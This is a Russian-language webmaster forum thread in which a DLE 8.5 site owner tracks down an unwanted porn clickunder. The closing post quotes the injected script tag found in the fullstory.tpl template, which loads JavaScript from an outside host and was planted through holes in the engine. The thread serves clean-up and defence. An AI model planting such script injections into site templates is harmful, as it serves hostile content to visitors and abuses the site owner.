X   Сообщение сайта
(Сообщение закроется через 3 секунды)



 

Здравствуйте, гость ( Вход | Регистрация )

Открыть тему
Тема закрыта
> Сайт дле 8.5 появился порно кликандер похоже взломали
leksei
leksei
Topic Starter сообщение 30.1.2011, 21:11; Ответить: leksei
Сообщение #1


Участник
***

Группа: User
Сообщений: 130
Регистрация: 4.3.2010
Поблагодарили: 20 раз
Репутация:   1  


Здравствуйте уважаемые форумчане, сегодня обнаружил на своем сайте http://ecology-portal.ru порно кликандер.
(сам никогда кликандеры не ставил)
Имеется бекап файлов за октябрь - там кликандера не обнаружено.

Помогите пожалуйста как определить где он? И убрать конечно.


--------------------
0
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
kRicha
kRicha
сообщение 30.1.2011, 21:14; Ответить: kRicha
Сообщение #2


Завсегдатай
*****

Группа: Active User
Сообщений: 933
Регистрация: 29.6.2010
Из: Киева
Поблагодарили: 222 раза
Репутация:   39  


зайти в рекламных материалах глянуть.

В бд поискать.

Пройтись по всем файлам движка.


--------------------


Поблагодарили: (1)
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
leksei
leksei
Topic Starter сообщение 30.1.2011, 21:26; Ответить: leksei
Сообщение #3


Участник
***

Группа: User
Сообщений: 130
Регистрация: 4.3.2010
Поблагодарили: 20 раз
Репутация:   1  


В рекламных материалах только баннер в шапке.
В бд думаю нет. (восстанавливал бекап сайта за октябрь, просил друзей кликать, кликандера не обнаружено)

В файлах движка скорее всего. Подскажите пожалуйста как пройтись?


--------------------
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
Gilles
Gilles
сообщение 30.1.2011, 21:34; Ответить: Gilles
Сообщение #4


Частый гость
**

Группа: User
Сообщений: 89
Регистрация: 6.12.2008
Из: Киев
Поблагодарили: 19 раз
Репутация:   3  


(leksei @ 30.1.2011, 19:26) *
В рекламных материалах только баннер в шапке.
В бд думаю нет. (восстанавливал бекап сайта за октябрь, просил друзей кликать, кликандера не обнаружено)

В файлах движка скорее всего. Подскажите пожалуйста как пройтись?

В первую очередь проверьте файлы шаблона. Поменяйте шаблон и посмотрите, будет ли срабатывать кликандер. Если не будет - ищите в файлах шаблона.
Посмотрите index.php.


Поблагодарили: (1)
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
kRicha
kRicha
сообщение 30.1.2011, 21:36; Ответить: kRicha
Сообщение #5


Завсегдатай
*****

Группа: Active User
Сообщений: 933
Регистрация: 29.6.2010
Из: Киева
Поблагодарили: 222 раза
Репутация:   39  


(leksei @ 30.1.2011, 19:26) *
В рекламных материалах только баннер в шапке.
В бд думаю нет. (восстанавливал бекап сайта за октябрь, просил друзей кликать, кликандера не обнаружено)

В файлах движка скорее всего. Подскажите пожалуйста как пройтись?

@Text Replacer - эта утилита Вам поможет wink.gif


--------------------


Поблагодарили: (1)
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
leksei
leksei
Topic Starter сообщение 30.1.2011, 21:45; Ответить: leksei
Сообщение #6


Участник
***

Группа: User
Сообщений: 130
Регистрация: 4.3.2010
Поблагодарили: 20 раз
Репутация:   1  


(kRicha @ 30.1.2011, 20:36) *
@Text Replacer - эта утилита Вам поможет wink.gif

А что искать ?


--------------------
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
kRicha
kRicha
сообщение 30.1.2011, 21:47; Ответить: kRicha
Сообщение #7


Завсегдатай
*****

Группа: Active User
Сообщений: 933
Регистрация: 29.6.2010
Из: Киева
Поблагодарили: 222 раза
Репутация:   39  


(leksei @ 30.1.2011, 19:45) *
А что искать ?

найдите в исходном коде своего сайт кусочек вредоносного кода и ищите его.


--------------------


Поблагодарили: (1)
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
WebSet
WebSet
сообщение 30.1.2011, 22:04; Ответить: WebSet
Сообщение #8


Бывалый
****


Группа: User
Сообщений: 311
Регистрация: 24.2.2009
Из: Kladno
Поблагодарили: 82 раза
Репутация:   14  


Помогу, в асю стучите (на аватаре)

http://clip2net.com/s/KhBo

Это в подтверждение того, что я знаю в чем проблема, сайту ничего плохого не делал.

Сообщение отредактировал WebSet - 30.1.2011, 22:05


--------------------
Дорогая и качественная верстка.


Поблагодарили: (1)
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
Evgenii
Evgenii
сообщение 30.1.2011, 22:19; Ответить: Evgenii
Сообщение #9


Завсегдатай
*****


Группа: Banned
Сообщений: 896
Регистрация: 19.2.2008
Из: Интернет ёпта...
Поблагодарили: 97 раз
Репутация:   15  


Ни в коем случае не реклама личного блога (с)

http://webnul.ru/?cat=4 почитайте и защититесь!

Сообщение отредактировал Evgenii - 30.1.2011, 22:28


Поблагодарили: (1)
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
leksei
leksei
Topic Starter сообщение 30.1.2011, 23:35; Ответить: leksei
Сообщение #10


Участник
***

Группа: User
Сообщений: 130
Регистрация: 4.3.2010
Поблагодарили: 20 раз
Репутация:   1  


Всем спасибо за ответы, а особенно WebSet'у за помощь. Проблема решена.
Всему виной код в fullstory.tpl:

[group=4,5]<script language="JavaScript" src="http://moijs.com/?id=185298"></script>[/group]

Который злоумышленники разместили благодаря дырам в дле.

Замечание модератора:
Эта тема была закрыта автоматически ввиду отсутствия активности в ней на протяжении 100+ дней.
Если Вы считаете ее актуальной и хотите оставить сообщение, то воспользуйтесь кнопкой
или обратитесь к любому из модераторов.


--------------------
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
Открыть тему
Тема закрыта
1 чел. читают эту тему (гостей: 1, скрытых пользователей: 0)
Пользователей: 0


Свернуть

> Похожие темы

  Тема Ответов Автор Просмотров Последний ответ
Открытая тема (нет новых ответов) Тема имеет прикрепленные файлыПрошу оценить мой сайт
Историческая тематика
25 OmarSK 3047 Сегодня, 5:19
автор: EconDude
Открытая тема (нет новых ответов) Тема имеет прикрепленные файлыЧертежи на заказ - оцените сайт
Ваши идеи для меня бесценны
28 Openair 4839 Вчера, 17:06
автор: Openair
Горячая тема (нет новых ответов) Дешевый трафик на сайт
402 Taylor 123753 Вчера, 15:07
автор: Taylor
Открытая тема (нет новых ответов) Новостной региональный сайт в ЯН ТИЦ 20
6 Swissi 767 Вчера, 15:03
автор: Swissi
Открытая тема (нет новых ответов) Сайт с новостным уник. контентом тИЦ 20
без линкопомоек И >3-х лет в работе
12 referer 2592 Вчера, 1:12
автор: megi


 



RSS Текстовая версия Сейчас: 26.5.2018, 19:59
Дизайн